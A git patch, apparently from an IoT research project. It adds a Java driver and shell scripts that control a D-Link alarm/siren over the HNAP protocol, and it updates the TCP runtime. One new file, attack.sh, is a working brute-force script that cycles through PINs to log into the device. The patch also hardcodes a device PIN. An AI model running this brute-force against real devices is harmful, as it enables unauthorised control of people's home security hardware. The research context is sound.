From 8587d5dae9491656de998fc4dde0d4adc38ef3b9 Mon Sep 17 00:00:00 2001 From: rtrimana Date: Tue, 28 Nov 2017 17:21:27 -0800 Subject: [PATCH] Adding DlinkAlarm as a driver for D-Link alarm/siren - replacing EspAlarm board --- .../Java/DlinkAlarm/Alarm_Skeleton.java | 225 ++++++++ .../drivers/Java/DlinkAlarm/DlinkAlarm.config | 7 + .../drivers/Java/DlinkAlarm/DlinkAlarm.java | 480 ++++++++++++++++++ benchmarks/drivers/Java/Makefile | 14 +- benchmarks/other/DLinkAlarm/alarm.sh | 123 +++++ benchmarks/other/DLinkAlarm/attack.sh | 65 +++ iotjava/iotruntime/IoTTCP.java | 28 +- 7 files changed, 938 insertions(+), 4 deletions(-) create mode 100644 benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java create mode 100644 benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config create mode 100644 benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java create mode 100755 benchmarks/other/DLinkAlarm/alarm.sh create mode 100755 benchmarks/other/DLinkAlarm/attack.sh diff --git a/benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java b/benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java new file mode 100644 index 0000000..31b84f5 --- /dev/null +++ b/benchmarks/drivers/Java/DlinkAlarm/Alarm_Skeleton.java @@ -0,0 +1,225 @@ +package iotcode.DlinkAlarm; + +import java.io.IOException; +import java.util.List; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Map; +import java.util.HashMap; +import java.util.concurrent.atomic.AtomicBoolean; +import iotrmi.Java.IoTRMIComm; +import iotrmi.Java.IoTRMICommClient; +import iotrmi.Java.IoTRMICommServer; +import iotrmi.Java.IoTRMIUtil; + +import iotcode.interfaces.*; + +public class Alarm_Skeleton implements Alarm { + + private Alarm mainObj; + private int objectId = 1; + // Communications and synchronizations + private IoTRMIComm rmiComm; + private AtomicBoolean didAlreadyInitWaitInvoke; + private AtomicBoolean methodReceived; + private byte[] methodBytes = null; + // Permissions + private static Integer[] object1Permission = { 4, 2, 0, 1, 3 }; + private static List set1Allowed; + + + public Alarm_Skeleton(Alarm _mainObj, int _portSend, int _portRecv) throws Exception { + mainObj = _mainObj; + rmiComm = new IoTRMICommServer(_portSend, _portRecv); + set1Allowed = new ArrayList(Arrays.asList(object1Permission)); + IoTRMIUtil.mapSkel.put(_mainObj, this); + IoTRMIUtil.mapSkelId.put(_mainObj, objectId); + didAlreadyInitWaitInvoke = new AtomicBoolean(false); + methodReceived = new AtomicBoolean(false); + rmiComm.registerSkeleton(objectId, methodReceived); + Thread thread1 = new Thread() { + public void run() { + try { + ___waitRequestInvokeMethod(); + } + catch (Exception ex) + { + ex.printStackTrace(); + } + } + }; + thread1.start(); + } + + public Alarm_Skeleton(Alarm _mainObj, IoTRMIComm _rmiComm, int _objectId) throws Exception { + mainObj = _mainObj; + rmiComm = _rmiComm; + objectId = _objectId; + set1Allowed = new ArrayList(Arrays.asList(object1Permission)); + didAlreadyInitWaitInvoke = new AtomicBoolean(false); + methodReceived = new AtomicBoolean(false); + rmiComm.registerSkeleton(objectId, methodReceived); + } + + public boolean didAlreadyInitWaitInvoke() { + return didAlreadyInitWaitInvoke.get(); + } + + public void init() { + mainObj.init(); + } + + public void setZone(int _zone, boolean _onOff, int _onDurationSeconds) { + mainObj.setZone(_zone, _onOff, _onDurationSeconds); + } + + public List getZoneStates() { + return mainObj.getZoneStates(); + } + + public int getNumberOfZones() { + return mainObj.getNumberOfZones(); + } + + public boolean doesHaveZoneTimers() { + return mainObj.doesHaveZoneTimers(); + } + + public void ___init() { + byte[] localMethodBytes = methodBytes; + rmiComm.setGetMethodBytes(); + Object[] paramObj = rmiComm.getMethodParams(new Class[] { }, new Class[] { }, localMethodBytes); + init(); + } + + public void ___setZone() { + byte[] localMethodBytes = methodBytes; + rmiComm.setGetMethodBytes(); + Object[] paramObj = rmiComm.getMethodParams(new Class[] { int.class, boolean.class, int.class }, new Class[] { null, null, null }, localMethodBytes); + setZone((int) paramObj[0], (boolean) paramObj[1], (int) paramObj[2]); + } + + public void ___getZoneStates() throws IOException { + byte[] localMethodBytes = methodBytes; + rmiComm.setGetMethodBytes(); + Object[] paramObj = rmiComm.getMethodParams(new Class[] { }, new Class[] { }, localMethodBytes); + List retStruct = getZoneStates(); + int retLen = retStruct.size(); + Object retLenObj = retLen; + rmiComm.sendReturnObj(retLenObj, localMethodBytes); + Class[] retCls = new Class[3*retLen]; + Object[] retObj = new Object[3*retLen]; + int retPos = 0; + for(int i = 0; i < retLen; i++) { + retCls[retPos] = int.class; + retObj[retPos++] = retStruct.get(i).zoneNumber; + retCls[retPos] = boolean.class; + retObj[retPos++] = retStruct.get(i).onOffState; + retCls[retPos] = int.class; + retObj[retPos++] = retStruct.get(i).duration; + } + rmiComm.sendReturnObj(retCls, retObj, localMethodBytes); + } + + public void ___getNumberOfZones() throws IOException { + byte[] localMethodBytes = methodBytes; + rmiComm.setGetMethodBytes(); + Object[] paramObj = rmiComm.getMethodParams(new Class[] { }, new Class[] { }, localMethodBytes); + Object retObj = getNumberOfZones(); + rmiComm.sendReturnObj(retObj, localMethodBytes); + } + + public void ___doesHaveZoneTimers() throws IOException { + byte[] localMethodBytes = methodBytes; + rmiComm.setGetMethodBytes(); + Object[] paramObj = rmiComm.getMethodParams(new Class[] { }, new Class[] { }, localMethodBytes); + Object retObj = doesHaveZoneTimers(); + rmiComm.sendReturnObj(retObj, localMethodBytes); + } + + public void ___waitRequestInvokeMethod() throws IOException { + didAlreadyInitWaitInvoke.compareAndSet(false, true); + while (true) { + if (!methodReceived.get()) { + continue; + } + methodBytes = rmiComm.getMethodBytes(); + methodReceived.set(false); + int _objectId = IoTRMIComm.getObjectId(methodBytes); + int methodId = IoTRMIComm.getMethodId(methodBytes); + if (_objectId == objectId) { + if (!set1Allowed.contains(methodId)) { + throw new Error("Object with object Id: " + _objectId + " is not allowed to access method: " + methodId); + } + } + else { + continue; + } + switch (methodId) { + case 0: + new Thread() { + public void run() { + try { + ___init(); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + }.start(); + break; + case 1: + new Thread() { + public void run() { + try { + ___setZone(); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + }.start(); + break; + case 2: + new Thread() { + public void run() { + try { + ___getZoneStates(); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + }.start(); + break; + case 3: + new Thread() { + public void run() { + try { + ___getNumberOfZones(); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + }.start(); + break; + case 4: + new Thread() { + public void run() { + try { + ___doesHaveZoneTimers(); + } + catch (Exception ex) { + ex.printStackTrace(); + } + } + }.start(); + break; + default: + throw new Error("Method Id " + methodId + " not recognized!"); + } + } + } + +} diff --git a/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config b/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config new file mode 100644 index 0000000..a4f10a8 --- /dev/null +++ b/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.config @@ -0,0 +1,7 @@ +# Skeleton/original interface +INTERFACE_CLASS=Alarm +# Stub +INTERFACE_STUB_CLASS=AlarmSmart + +# Language +LANGUAGE=Java diff --git a/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java b/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java new file mode 100644 index 0000000..6b0ee18 --- /dev/null +++ b/benchmarks/drivers/Java/DlinkAlarm/DlinkAlarm.java @@ -0,0 +1,480 @@ +package iotcode.DlinkAlarm; + +// Standard Java Packages +import java.io.*; +import java.net.*; +import java.util.concurrent.Semaphore; +import java.util.concurrent.atomic.AtomicBoolean; +import java.security.InvalidParameterException; +import java.util.Date; +import java.util.Iterator; +import java.nio.charset.StandardCharsets; +import java.util.Set; +import java.util.HashSet; +import java.util.List; +import java.util.ArrayList; + +// HMAC digest packages +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.UnsupportedEncodingException; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; + +// IoT Packages +import iotruntime.IoTTCP; +import iotruntime.slave.IoTDeviceAddress; +import iotruntime.slave.IoTSet; +import iotcode.interfaces.ZoneState; +import iotcode.interfaces.Alarm; + +//import iotchecker.qual.*; +import iotcode.annotation.*; + +/** Class DlinkAlarm for the D-Link Alarm. + * + * @author Rahmadi Trimananda + * @version 1.0 + * @since 2017-11-28 + */ + +public class DlinkAlarm implements Alarm { + + /******************************************************************************************************************************************* + ** + ** Variables + ** + *******************************************************************************************************************************************/ + private static final String STR_HMAC_ALGO = "HmacMD5"; + private static final int INT_ALARM_SOUND_TYPE = 6; + private static final int INT_ALARM_VOLUME = 0; + private static final int INT_ALARM_MAX_DUR = 86400; + + private String host = null; + private String head = null; + private String end = null; + private IoTDeviceAddress deviceAddress = null; + private String devicePin = null; + private String response = null; + // The following 3 are needed to send commands to the alarm/siren + private String cookie = null; + private String timeStamp = null; + private String privateKey = null; + + + /******************************************************************************************************************************************* + ** + ** IoT Sets and Relations + ** + *******************************************************************************************************************************************/ + + // IoTSet of Device Addresses. + // Will be filled with only 1 address. + @config private IoTSet alm_Addresses; + + public DlinkAlarm(IoTSet _alm_addr, String _devicePin) { + alm_Addresses = _alm_addr; + devicePin = _devicePin; + } + + public DlinkAlarm(String _devicePin) { + devicePin = _devicePin; + } + + + /******************************************************************************************************************************************* + ** + ** Interface Methods + ** + *******************************************************************************************************************************************/ + + /** Method to set the state of a specified zone. Interface implementation. + * + * @param _zone [int] : zone number to set. + * @param _onOff [boolean] : the state to set the zone to, on or off. + * @param _onDurationSeconds [int]: the duration to set the state on to, if -1 then infinite. + * + * @return [void] None. + */ + public void setZone(int _zone, boolean _onOff, int _onDurationSeconds) { + + // We don't use zone at this point (for this alarm there is only 1 zone and 1 alarm) + + // True means on + if (_onOff) { + if ((_onDurationSeconds == -1) || (_onDurationSeconds > 86400)) { + // Set alarm on to max duration + setSoundPlay(INT_ALARM_SOUND_TYPE, INT_ALARM_VOLUME, INT_ALARM_MAX_DUR); + } else { + setSoundPlay(INT_ALARM_SOUND_TYPE, INT_ALARM_VOLUME, _onDurationSeconds); + } + } else { // Else turn off + setAlarmDismissed(); + } + } + + + /** Method to get the current state of all the zones. Interface implementation. + * + * @param None. + * + * @return [List] list of the states for the zones. + */ + public List getZoneStates() { + + return null; + } + + + /** Method to get the number of zones this alarm can control. Interface implementation. + * + * @param None. + * + * @return [int] number of zones that can be controlled. + */ + public int getNumberOfZones() { + return 1; + } + + + /** Method to get whether or not this alarm can control durations. Interface implementation. + * + * @param None. + * + * @return [boolean] boolean if this sprinkler can do durations. + */ + public boolean doesHaveZoneTimers() { + return true; + } + + + /** Method to initialize the alarm. Interface implementation. + * + * @param None. + * + * @return [void] None. + */ + public void init() { + + try { + Iterator itr = alm_Addresses.iterator(); + deviceAddress = (IoTDeviceAddress)itr.next(); + host = deviceAddress.getHostAddress(); + System.out.println("Address: " + host); + + // Add the head ... + head = ""; + // End! + end = "\r\n"; + // Send login request first + sendLoginRequest(); + // Send login info (challenge and HMAC encrypted message) + sendLoginInfo(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /******************************************************************************************************************************************* + ** + ** Private Handlers + ** + *******************************************************************************************************************************************/ + + private void sendLoginRequest() { + + try { + // Message + String body = head + "requestadmin" + end; + String postMessage = "POST /HNAP1 HTTP/1.1\r\n"; + postMessage += "User-Agent: Java/1.8.0_144\r\n"; + postMessage += "Host: " + host + "\r\n"; + postMessage += "Accept: */*\r\n"; + postMessage += "Content-Type: text/xml; charset=utf-8\r\n"; + postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"\r\n"; + postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n"; + postMessage += "\r\n"; + postMessage += body; + + // Create the communication channel + //IoTTCP connection = new IoTTCP(deviceAddress); + IoTTCP connection = new IoTTCP(); + connection.setReuseAddress(true); + connection.bindAndConnect(deviceAddress, false); + + // Get in and out communication + System.out.println(postMessage); + PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true); + BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + tcpOut.print(postMessage); + tcpOut.flush(); + + // wait for data + while (!tcpIn.ready()) { + } + + // Wait a bit longer for data + Thread.sleep(10); + + // get the response + while (tcpIn.ready()) { + response = tcpIn.readLine(); + System.out.println("Response to Login Request: " + response); + } + connection.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void sendLoginInfo() { + + // Extract challenge, public key, and cookie + String challenge = getTagValue(response, "Challenge"); + cookie = "Cookie: uid=" + getTagValue(response, "Cookie"); + String publicKey = getTagValue(response, "PublicKey") + devicePin; + + // Generate private key and password + privateKey = hmacDigest(challenge, publicKey, STR_HMAC_ALGO); + String password = hmacDigest(challenge, privateKey, STR_HMAC_ALGO); + timeStamp = Long.toString(getUnixEpochSeconds()); + // HNAP authentication + String authStr = timeStamp + "\"http://purenetworks.com/HNAP1/Login\""; + String auth = hmacDigest(authStr, privateKey, STR_HMAC_ALGO); + String hnap_auth = "HNAP_AUTH: " + auth + " " + timeStamp; + + try { + // Message + String body = head + "loginadmin" + + password + "" + end; + String postMessage = "POST /HNAP1 HTTP/1.1\r\n"; + postMessage += "User-Agent: Java/1.8.0_144\r\n"; + postMessage += "Host: " + host + "\r\n"; + postMessage += "Accept: */*\r\n"; + postMessage += "Content-Type: text/xml; charset=utf-8\r\n"; + postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/Login\"\r\n"; + postMessage += hnap_auth + "\r\n"; + postMessage += cookie + "\r\n"; + postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n"; + postMessage += "\r\n"; + postMessage += body; + + // Create the communication channel + //IoTTCP connection = new IoTTCP(deviceAddress); + IoTTCP connection = new IoTTCP(); + connection.setReuseAddress(true); + connection.bindAndConnect(deviceAddress, false); + + // Get in and out communication + System.out.println(postMessage); + PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true); + BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + tcpOut.print(postMessage); + tcpOut.flush(); + + // wait for data + while (!tcpIn.ready()) { + } + + // Wait a bit longer for data + //Thread.sleep(10); + + // get the response + while (tcpIn.ready()) { + response = tcpIn.readLine(); + System.out.println("Response to Login Info: " + response); + } + connection.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void setSoundPlay(int soundType, int volume, int duration) { + + try { + // Message + String method = "SetSoundPlay"; + String body = head + "<" + method + " xmlns=\"http://purenetworks.com/HNAP1/\">" + + "11" + Integer.toString(soundType) + + "" + Integer.toString(volume) + "" + Integer.toString(duration) + + "" + end; + String postMessage = "POST /HNAP1 HTTP/1.1\r\n"; + postMessage += "User-Agent: Java/1.8.0_144\r\n"; + postMessage += "Host: " + host + "\r\n"; + postMessage += "Accept: */*\r\n"; + postMessage += "Content-Type: text/xml; charset=utf-8\r\n"; + postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/" + method + "\"\r\n"; + // HNAP authentication + String authStr = timeStamp + "\"http://purenetworks.com/HNAP1/" + method + "\""; + String auth = hmacDigest(authStr, privateKey, STR_HMAC_ALGO); + String hnap_auth = "HNAP_AUTH: " + auth + " " + timeStamp; + postMessage += hnap_auth + "\r\n"; + postMessage += cookie + "\r\n"; + postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n"; + postMessage += "\r\n"; + postMessage += body; + + System.out.println(postMessage); + + // Create the communication channel + //IoTTCP connection = new IoTTCP(deviceAddress); + IoTTCP connection = new IoTTCP(); + connection.setReuseAddress(true); + connection.bindAndConnect(deviceAddress, false); + + // Get in and out communication + PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true); + BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + tcpOut.print(postMessage); + tcpOut.flush(); + + // wait for data + while (!tcpIn.ready()) { + } + + // Wait a bit longer for data + //Thread.sleep(10); + + // get the response + while (tcpIn.ready()) { + response = tcpIn.readLine(); + System.out.println("Response to SetSoundPlay: " + response); + } + connection.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + private void setAlarmDismissed() { + + try { + // Message + String method = "setAlarmDismissed"; + String body = head + "<" + method + " xmlns=\"http://purenetworks.com/HNAP1/\">" + + "11" + end; + String postMessage = "POST /HNAP1 HTTP/1.1\r\n"; + postMessage += "User-Agent: Java/1.8.0_144\r\n"; + postMessage += "Host: " + host + "\r\n"; + postMessage += "Accept: */*\r\n"; + postMessage += "Content-Type: text/xml; charset=utf-8\r\n"; + postMessage += "SOAPAction: \"http://purenetworks.com/HNAP1/" + method + "\"\r\n"; + // HNAP authentication + String authStr = timeStamp + "\"http://purenetworks.com/HNAP1/" + method + "\""; + String auth = hmacDigest(authStr, privateKey, STR_HMAC_ALGO); + String hnap_auth = "HNAP_AUTH: " + auth + " " + timeStamp; + postMessage += hnap_auth + "\r\n"; + postMessage += cookie + "\r\n"; + postMessage += "Content-Length: " + Integer.toString(body.length()) + "\r\n"; + postMessage += "\r\n"; + postMessage += body; + + System.out.println(postMessage); + + // Create the communication channel + //IoTTCP connection = new IoTTCP(deviceAddress); + IoTTCP connection = new IoTTCP(); + connection.setReuseAddress(true); + connection.bindAndConnect(deviceAddress, false); + + // Get in and out communication + PrintWriter tcpOut = new PrintWriter(connection.getOutputStream(), true); + BufferedReader tcpIn = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + tcpOut.print(postMessage); + tcpOut.flush(); + + // wait for data + while (!tcpIn.ready()) { + } + + // Wait a bit longer for data + //Thread.sleep(10); + + // get the response + while (tcpIn.ready()) { + response = tcpIn.readLine(); + System.out.println("Response to SetSoundPlay: " + response); + } + connection.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + // Adapted from https://stackoverflow.com/questions/4076910/how-to-retrieve-element-value-of-xml-using-java + private String getTagValue(String xml, String tagName) { + + return xml.split("<"+tagName+">")[1].split("")[0]; + } + + // Adapted from http://www.supermind.org/blog/1102/generating-hmac-md5-sha1-sha256-etc-in-java + private String hmacDigest(String message, String keyString, String algorithm) { + String digest = null; + try { + SecretKeySpec key = new SecretKeySpec((keyString).getBytes("UTF-8"), algorithm); + Mac mac = Mac.getInstance(algorithm); + mac.init(key); + + byte[] bytes = mac.doFinal(message.getBytes("ASCII")); + + // Create a StringBuffer and convert the bytes into a String + StringBuffer hash = new StringBuffer(); + for (int i = 0; i < bytes.length; i++) { + String hex = Integer.toHexString(0xFF & bytes[i]); + if (hex.length() == 1) { + hash.append('0'); + } + hash.append(hex); + } + // We need to convert the String to upper case + digest = hash.toString().toUpperCase(); + } catch ( UnsupportedEncodingException | + InvalidKeyException | + NoSuchAlgorithmException e ) { + e.printStackTrace(); + } + return digest; + } + + private long getUnixEpochSeconds() { + // Return time since January 1, 1970 00:00:00 UTC in seconds + return System.currentTimeMillis()/1000; + } + + /*public static void main(String[] args) throws Exception { + + String ipAddress = "192.168.1.183"; + String devicePin = "215530"; + IoTDeviceAddress iotAddress = new IoTDeviceAddress(ipAddress, 12345, 80, false, false); + Set setAddress = new HashSet(); + setAddress.add(iotAddress); + IoTSet iotSetAddress = new IoTSet(setAddress); + + DlinkAlarm alarm = new DlinkAlarm(iotSetAddress, devicePin); + alarm.init(); + // Set alarm + alarm.setZone(0, true, -1); + // Set alarm + alarm.setZone(0, false, 0); + // Set alarm + alarm.setZone(0, true, -1); + // Set alarm + alarm.setZone(0, false, 0); + }*/ +} + + diff --git a/benchmarks/drivers/Java/Makefile b/benchmarks/drivers/Java/Makefile index 480ace0..3d45da4 100644 --- a/benchmarks/drivers/Java/Makefile +++ b/benchmarks/drivers/Java/Makefile @@ -99,6 +99,12 @@ alarm: $(JAVAC) $(JFLAGS) EspAlarm/*.java cp EspAlarm/EspAlarm.config $(BIN_DIR)/iotcode/EspAlarm cd $(BIN_DIR)/iotcode/EspAlarm; $(JAR) $(JARFLAGS) EspAlarm.jar ../../iotcode/EspAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class + +PHONY += dlink-alarm +dlink-alarm: + $(JAVAC) $(JFLAGS) DlinkAlarm/*.java + cp DlinkAlarm/DlinkAlarm.config $(BIN_DIR)/iotcode/DlinkAlarm + cd $(BIN_DIR)/iotcode/DlinkAlarm; $(JAR) $(JARFLAGS) DlinkAlarm.jar ../../iotcode/DlinkAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class PHONY += motion motion: @@ -211,9 +217,15 @@ check-homeroom: PHONY += check-alarm check-alarm: $(JAVAC) $(JFLAGS) $(CHECKER_OPT) $(ASTUBS) EspAlarm/*.java - cp EspAlarm/EspAlarm.config $(BIN_DIR)/iotcode/EspAlarm + cp DlinkAlarm/EspAlarm.config $(BIN_DIR)/iotcode/EspAlarm cd $(BIN_DIR)/iotcode/EspAlarm; $(JAR) $(JARFLAGS) EspAlarm.jar ../../iotcode/EspAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class +PHONY += check-dlink-alarm +check-dlink-alarm: + $(JAVAC) $(JFLAGS) $(CHECKER_OPT) $(ASTUBS) DlinkAlarm/*.java + cp EspAlarm/DlinkAlarm.config $(BIN_DIR)/iotcode/DlinkAlarm + cd $(BIN_DIR)/iotcode/DlinkAlarm; $(JAR) $(JARFLAGS) DlinkAlarm.jar ../../iotcode/DlinkAlarm/*.class ../../iotcode/interfaces/Alarm*.class ../../iotcode/interfaces/ZoneState*.class + PHONY += check-motion check-motion: $(JAVAC) $(JFLAGS) $(CHECKER_OPT) $(ASTUBS) MotionSensor/*.java diff --git a/benchmarks/other/DLinkAlarm/alarm.sh b/benchmarks/other/DLinkAlarm/alarm.sh new file mode 100755 index 0000000..c1587c6 --- /dev/null +++ b/benchmarks/other/DLinkAlarm/alarm.sh @@ -0,0 +1,123 @@ +#!/bin/bash +# modify next two line for your DSP-W215 +IP="192.168.1.183" +PIN="215530" +# do not modify after this line if you don't know what you are doing + +function usage { + echo -e "\nUsage: $(basename $0) [OPTION]" + echo -e "\nOPTION:" + echo -e "\t--getstate" + echo -e "\t--stop" + echo -e "\t--noise SoundType(1-6) Volume(0-100) Duration(??)" +} + +function hash_hmac { + data="$1" + key="$2" + echo -n "$data" | openssl dgst "-md5" -hmac "$key" -binary | xxd -ps -u +} + +contentType="Content-Type: text/xml; charset=utf-8" +soapLogin="SOAPAction: \"http://purenetworks.com/HNAP1/Login\"" + +#Get Login data + +head="" +end="" + +message="requestadmin" +loginrequest="$head$message$end" +#echo "Login request: $loginrequest" + +#ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1` +ret=`curl -v -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1` +echo -e "Returned value: $ret" + +function getResult { + opt=`echo -n "$ret" | grep -Po "(?<=<$1>).*(?=)"` + echo -n "$opt" +} + +#echo -e "Challenge: " +#echo -e `getResult Challenge` + +challenge=`getResult Challenge` +cookie="Cookie: uid=`getResult Cookie`" +publickey="`getResult PublicKey`$PIN" +privatekey=`hash_hmac "$challenge" "$publickey"` +password=`hash_hmac "$challenge" "$privatekey"` +timestamp=`date +%s` +auth_str="$timestamp\"http://purenetworks.com/HNAP1/Login\"" +auth=`hash_hmac "$auth_str" "$privatekey"` +hnap_auth="HNAP_AUTH: $auth $timestamp" + +message="loginadmin$password" + +login="$head$message$end" +echo "Login info: $login" + +#Get Login Result +#ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1` +ret=`curl -v -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1` +echo -e "Returned value: $ret" + +echo -e "\nUsage: $(basename $0) [OPTION]" + +case "$1" in +--getstate ) + #Next 2 rows to modify query + method="GetSirenAlarmSettings" + message="<$method xmlns=\"http://purenetworks.com/HNAP1/\">1>1" + + #Do not modify after this line + soapAction="SOAPAction: \"http://purenetworks.com/HNAP1/$method\"" + authStr="$timestamp\"http://purenetworks.com/HNAP1/$method\"" + auth=`hash_hmac "$authStr" "$privatekey"` + hnap_auth="HNAP_AUTH: $auth $timestamp" + data="$head$message$end" + + #Get Device state from GetSocketSettings + #ret=`curl -s -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1` + ret=`curl -v -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1` + echo -e "Timestamp=$timestamp\tSOAPAction=$soapAction\tAuthStr=$authStr\tAUTH=$auth\tHNAP=$hnap_auth\tRET = $ret" #This line is for debug purpose + ;; +--noise ) + #Next 2 rows to modify query + method="SetSoundPlay" + message="<$method xmlns=\"http://purenetworks.com/HNAP1/\">11$2$3$4" + + #Do not modify after this line + soapAction="SOAPAction: \"http://purenetworks.com/HNAP1/$method\"" + authStr="$timestamp\"http://purenetworks.com/HNAP1/$method\"" + auth=`hash_hmac "$authStr" "$privatekey"` + hnap_auth="HNAP_AUTH: $auth $timestamp" + data="$head$message$end" + echo -e "Sound data: $data" + + #Get Device state from GetSocketSettings + #ret=`curl -s -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1` + ret=`curl -v -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1` + echo -e "Return value: $ret" + ;; +--stop ) + #Next 2 rows to modify query + method="SetAlarmDismissed" + message="<$method xmlns=\"http://purenetworks.com/HNAP1/\">11" + + #Do not modify after this line + soapAction="SOAPAction: \"http://purenetworks.com/HNAP1/$method\"" + authStr="$timestamp\"http://purenetworks.com/HNAP1/$method\"" + auth=`hash_hmac "$authStr" "$privatekey"` + hnap_auth="HNAP_AUTH: $auth $timestamp" + data="$head$message$end" + echo -e "Stop data: $data" + + #Get Device state from GetSocketSettings + #ret=`curl -s -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1` + ret=`curl -v -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1` + ;; +* ) + usage + ;; +esac diff --git a/benchmarks/other/DLinkAlarm/attack.sh b/benchmarks/other/DLinkAlarm/attack.sh new file mode 100755 index 0000000..39fb94e --- /dev/null +++ b/benchmarks/other/DLinkAlarm/attack.sh @@ -0,0 +1,65 @@ +#!/bin/bash +#modify next two line for your DSP-W215 +IP="192.168.0.35" +PIN=215530 +#do not modify after this line if you don't know what you are doing + +function usage { + echo -e "\nUsage: $(basename $0) [OPTION]" + echo -e "\nOPTION:" + echo -e "\t--getstate" + echo -e "\t--stop" + echo -e "\t--noise SoundType(1-6) Volume(0-100) Duration(??)" +} + +function hash_hmac { + data="$1" + key="$2" + echo -n "$data" | openssl dgst "-md5" -hmac "$key" -binary | xxd -ps -u +} + +contentType="Content-Type: text/xml; charset=utf-8" +soapLogin="SOAPAction: \"http://purenetworks.com/HNAP1/Login\"" + +#Get Login data + +head="" +end="" + +message="requestadmin$password" +loginrequest="$head$message$end" + +ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1` + +function getResult { + opt=`echo -n "$ret" | grep -Po "(?<=<$1>).*(?=)"` + echo -n "$opt" +} + +PIN=0 + +while true + do +echo -e $PIN +let PIN=$PIN+1 +challenge=`getResult Challenge` +cookie="Cookie: uid=`getResult Cookie`" +publickey="`getResult PublicKey`$PIN" +privatekey=`hash_hmac "$challenge" "$publickey"` +password=`hash_hmac "$challenge" "$privatekey"` +timestamp=`date +%s` +auth_str="$timestamp\"http://purenetworks.com/HNAP1/Login\"" +auth=`hash_hmac "$auth_str" "$privatekey"` +hnap_auth="HNAP_AUTH: $auth $timestamp" + +message="loginadmin$password" + +login="$head$message$end" + +#Get Login Result +mret=`curl -s -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1` + +echo -e "$mret" + +done + diff --git a/iotjava/iotruntime/IoTTCP.java b/iotjava/iotruntime/IoTTCP.java index ada53bd..f67c4d3 100644 --- a/iotjava/iotruntime/IoTTCP.java +++ b/iotjava/iotruntime/IoTTCP.java @@ -6,6 +6,7 @@ import java.net.UnknownHostException; import java.net.SocketException; import java.net.Socket; import java.net.InetAddress; +import java.net.InetSocketAddress; import java.net.ServerSocket; import java.io.InputStream; import java.io.OutputStream; @@ -30,10 +31,15 @@ public final class IoTTCP { protected IoTTCP(Socket _socket) { socket = _socket; } - - /** - * Class constructor + + /** + * Class constructor - no binding at first */ + public IoTTCP() { + socket = new Socket(); + } + + public IoTTCP(IoTDeviceAddress iotDevAdd) throws UnknownHostException, IOException { String strHostAddress = iotDevAdd.getHostAddress(); @@ -42,6 +48,22 @@ public final class IoTTCP { socket = new Socket(strHostAddress, iDstPort, InetAddress.getLocalHost(), iSrcPort); } + + /** + * bindAndConnect() method + */ + public void bindAndConnect(IoTDeviceAddress iotDevAdd, boolean bindToLocal) throws UnknownHostException, IOException { + + String strHostAddress = iotDevAdd.getHostAddress(); + int iDstPort = iotDevAdd.getDestinationPortNumber(); + + // Check if we need to bind to a specific port locally + if (bindToLocal) { + int iSrcPort = iotDevAdd.getSourcePortNumber(); + socket.bind(new InetSocketAddress(InetAddress.getLocalHost(), iSrcPort)); + } + socket.connect(new 